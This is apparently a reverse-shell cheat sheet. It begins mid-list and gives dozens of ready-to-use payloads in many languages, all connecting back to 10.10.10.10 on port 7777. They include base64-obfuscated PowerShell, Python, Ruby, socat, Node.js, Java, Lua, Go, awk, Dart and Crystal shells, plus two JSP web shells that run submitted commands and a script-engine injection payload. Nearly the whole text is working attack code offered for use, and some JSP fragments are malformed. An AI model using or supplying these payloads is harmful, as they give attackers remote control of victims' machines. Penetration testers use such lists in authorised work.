powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQAwAC4AMQAwACIALAA3ADcANwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
PowerShell 5 (stderr support)(Base64)
powershell -e JABFAHIAcgBvAHIAVgBpAGUAdwA9ACIATgBvAHIAbQBhAGwAVgBpAGUAdwAiADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAQwBvAG4AdABpAG4AdQBlACIAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQAwAC4AMQAwACIALAA3ADcANwA3ACkAOwAkAHMAPQAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAD0AMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpAD0AJABzAC4AUgBlAGEAZAAoACQAYgAsADAALAAkAGIALgBMAGUAbgBnAHQAaAApACkALQBuAGUAMAApAHsAJABkAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAkAGkAKQA7AHQAcgB5AHsAJABvAD0AaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAMwA+ACYAMQAgADQAPgAmADEAIAA1AD4AJgAxACAANgA+ACYAMQB8AE8AdQB0AC0AUwB0AHIAaQBuAGcAfQBjAGEAdABjAGgAewAkAG8APQAkAF8AfABPAHUAdAAtAFMAdAByAGkAbgBnAH0AaQBmACgAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIARQBtAHAAdAB5ACgAJABvACkAKQB7ACQAbwA9ACIAIgB9ACQAcAA9ACIAUABTACAAIgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAiAD4AIAAiADsAWwBiAHkAdABlAFsAXQBdACQAcwBiAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAG8AKwAkAHAAKQA7ACQAcwAuAFcAcgBpAHQAZQAoACQAcwBiACwAMAAsACQAcwBiAC4ATABlAG4AZwB0AGgAKQA7ACQAcwAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwAuAEMAbABvAHMAZQAoACkA
Python
Python 1
export RHOST="10.10.10.10";export RPORT=7777;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("tcsh")'
Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("tcsh")'
Python3 1
export RHOST="10.10.10.10";export RPORT=7777;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("tcsh")'
Python3 2
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("tcsh")'
Python3 (WIndows)
import os,socket,subprocess,threading;
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
p.stdin.flush()
def p2s(s, p):
while True:
s.send(p.stdout.read(1))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.10",7777))
p=subprocess.Popen(["tcsh"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()
try:
p.wait()
except KeyboardInterrupt:
s.close()
Python3 Shortest
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.10.10",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("tcsh")'
Ruby
Ruby 1
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.10.10",7777))'
Ruby No sh
ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.10.10.10","7777");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
Socat
Socat 1
socat TCP:10.10.10.10:7777 EXEC:tcsh
Socat (TTY)
socat TCP:10.10.10.10:7777 EXEC:'tcsh',pty,stderr,setsid,sigint,sane
SQLite
SQLite nc mkinfo
sqlite3 /dev/null '.shell rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|tcsh -i 2>&1|nc 10.10.10.10 7777 >/tmp/f'
Node.JS
Node.js 1
require('child_process').exec('nc -e tcsh 10.10.10.10 7777')
Node.js 2
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("tcsh", []);
var client = new net.Socket();
client.connect(7777, "10.10.10.10", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
Java
Java 1
public class shell {
public static void main(String[] args) {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.10.10/7777 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
Java 2
public class shell {
public static void main(String[] args) {
ProcessBuilder pb = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp/10.10.10.10/7777 0>&1")
.redirectErrorStream(true);
try {
Process p = pb.start();
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
Java 3
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class shell {
public static void main(String[] args) {
String host = "10.10.10.10";
int port = 7777;
String cmd = "tcsh";
try {
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
}
p.destroy();
s.close();
} catch (Exception e) {}
}
}
Java Web
<%@
page import="java.lang.*, java.util.*, java.io.*, java.net.*"
% >
<%!
static class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector(InputStream is, OutputStream os)
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader isr = null;
BufferedWriter osw = null;
try
{
isr = new BufferedReader(new InputStreamReader(is));
osw = new BufferedWriter(new OutputStreamWriter(os));
char buffer[] = new char[8192];
int lenRead;
while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
{
osw.write(buffer, 0, lenRead);
osw.flush();
}
}
catch (Exception ioe)
try
{
if(isr != null) isr.close();
if(osw != null) osw.close();
}
catch (Exception ioe)
}
}
%>
<h1>JSP Backdoor Reverse Shell</h1>
<form method="post">
IP Address
<input type="text" name="ipaddress" size=30>
Port
<input type="text" name="port" size=10>
<input type="submit" name="Connect" value="Connect">
</form>
<p>
<hr>
<%
String ipAddress = request.getParameter("ipaddress");
String ipPort = request.getParameter("port");
if(ipAddress != null && ipPort != null)
{
Socket sock = null;
try
{
sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("cmd.exe");
StreamConnector outputConnector =
new StreamConnector(proc.getInputStream(),
sock.getOutputStream());
StreamConnector inputConnector =
new StreamConnector(sock.getInputStream(),
proc.getOutputStream());
outputConnector.start();
inputConnector.start();
}
catch(Exception e)
}
%>
Java Two Way
<%
/*
* Usage: This is a 2 way shell, one web shell and a reverse shell. First, it will try to connect to a listener (atacker machine), with the IP and Port specified at the end of the file.
* If it cannot connect, an HTML will prompt and you can input commands (sh/cmd) there and it will prompts the output in the HTML.
* Note that this last functionality is slow, so the first one (reverse shell) is recommended. Each time the button "send" is clicked, it will try to connect to the reverse shell again (apart from executing
* the command specified in the HTML form). This is to avoid to keep it simple.
*/
%>
<%@page import="java.lang.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%@page import="java.util.*"%>
<html>
<head>
<title>jrshell</title>
</head>
<body>
<form METHOD="POST" NAME="myform" ACTION="">
<input TYPE="text" NAME="shell">
<input TYPE="submit" VALUE="Send">
</form>
<pre>
<%
// Define the OS
String shellPath = null;
try
{
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
shellPath = new String("/bin/sh");
} else {
shellPath = new String("cmd.exe");
}
} catch( Exception e ){}
// INNER HTML PART
if (request.getParameter("shell") != null) {
out.println("Command: " + request.getParameter("shell") + "\n<BR>");
Process p;
if (shellPath.equals("cmd.exe"))
p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("shell"));
else
p = Runtime.getRuntime().exec("/bin/sh -c " + request.getParameter("shell"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
// TCP PORT PART
class StreamConnector extends Thread
{
InputStream wz;
OutputStream yr;
StreamConnector( InputStream wz, OutputStream yr ) {
this.wz = wz;
this.yr = yr;
}
public void run()
{
BufferedReader r = null;
BufferedWriter w = null;
try
{
r = new BufferedReader(new InputStreamReader(wz));
w = new BufferedWriter(new OutputStreamWriter(yr));
char buffer[] = new char[8192];
int length;
while( ( length = r.read( buffer, 0, buffer.length ) ) > 0 )
{
w.write( buffer, 0, length );
w.flush();
}
} catch( Exception e ){}
try
{
if( r != null )
r.close();
if( w != null )
w.close();
} catch( Exception e ){}
}
}
try {
Socket socket = new Socket( "10.10.10.10", 7777 ); // Replace with wanted ip and port
Process process = Runtime.getRuntime().exec( shellPath );
new StreamConnector(process.getInputStream(), socket.getOutputStream()).start();
new StreamConnector(socket.getInputStream(), process.getOutputStream()).start();
out.println("port opened on " + socket);
} catch( Exception e ) {}
%>
</pre>
</body>
</html>
JavaScript
String command = "var host = '10.10.10.10';" +
"var port = 7777;" +
"var cmd = 'tcsh';"+
"var s = new java.net.Socket(host, port);" +
"var p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();"+
"var pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();"+
"var po = p.getOutputStream(), so = s.getOutputStream();"+
"print ('Connected');"+
"while (!s.isClosed()) {"+
" while (pi.available() > 0)"+
" so.write(pi.read());"+
" while (pe.available() > 0)"+
" so.write(pe.read());"+
" while (si.available() > 0)"+
" po.write(si.read());"+
" so.flush();"+
" po.flush();"+
" java.lang.Thread.sleep(50);"+
" try {"+
" p.exitValue();"+
" break;"+
" }"+
" catch (e) {"+
" }"+
"}"+
"p.destroy();"+
"s.close();";
String x = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\""+command+"\")";
ref.add(new StringRefAddr("x", x);
Groovy
String host="10.10.10.10";int port=7777;String cmd="tcsh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Telnet
TF=$(mktemp -u);mkfifo $TF && telnet 10.10.10.10 7777 0<$TF | tcsh 1>$TF
ZSH
zsh -c 'zmodload zsh/net/tcp && ztcp 10.10.10.10 7777 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
LUA
Lua 1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.10.10','7777');os.execute('tcsh -i <&3 >&3 2>&3');"
Lua 2
lua5.1 -e 'local host, port = "10.10.10.10", 7777 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
GoLang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.10.10.10:7777");cmd:=exec.Command("tcsh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
Vlang
echo 'import os' > /tmp/t.v && echo 'fn main() { os.system("nc -e tcsh 10.10.10.10 7777 0>&1") }' >> /tmp/t.v && v run /tmp/t.v && rm /tmp/t.v
Awk
awk 'BEGIN {s = "/inet/tcp/0/10.10.10.10/7777"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Dart
import 'dart:io';
import 'dart:convert';
main() {
Socket.connect("10.10.10.10", 7777).then((socket) {
socket.listen((data) {
Process.start('tcsh', []).then((Process process) {
process.stdin.writeln(new String.fromCharCodes(data).trim());
process.stdout
.transform(utf8.decoder)
.listen((output) { socket.write(output); });
});
},
onDone: () {
socket.destroy();
});
});
}
Crystal
Crystal (System)
crystal eval 'require "process";require "socket";c=Socket.tcp(Socket::Family::INET);c.connect("10.10.10.10",7777);loop{m,l=c.receive;p=Process.new(m.rstrip("\n"),output:Process::Redirect::Pipe,shell:true);c<<p.output.gets_to_end}'
Crystal (Code)
require "process"
require "socket"
c = Socket.tcp(Socket::Family::INET)
c.connect("10.10.10.10", 7777)
loop do
m, l = c.receive
p = Process.new(m.rstrip("\n"), output:Process::Redirect::Pipe, shell:true)
c << p.output.gets_to_end
end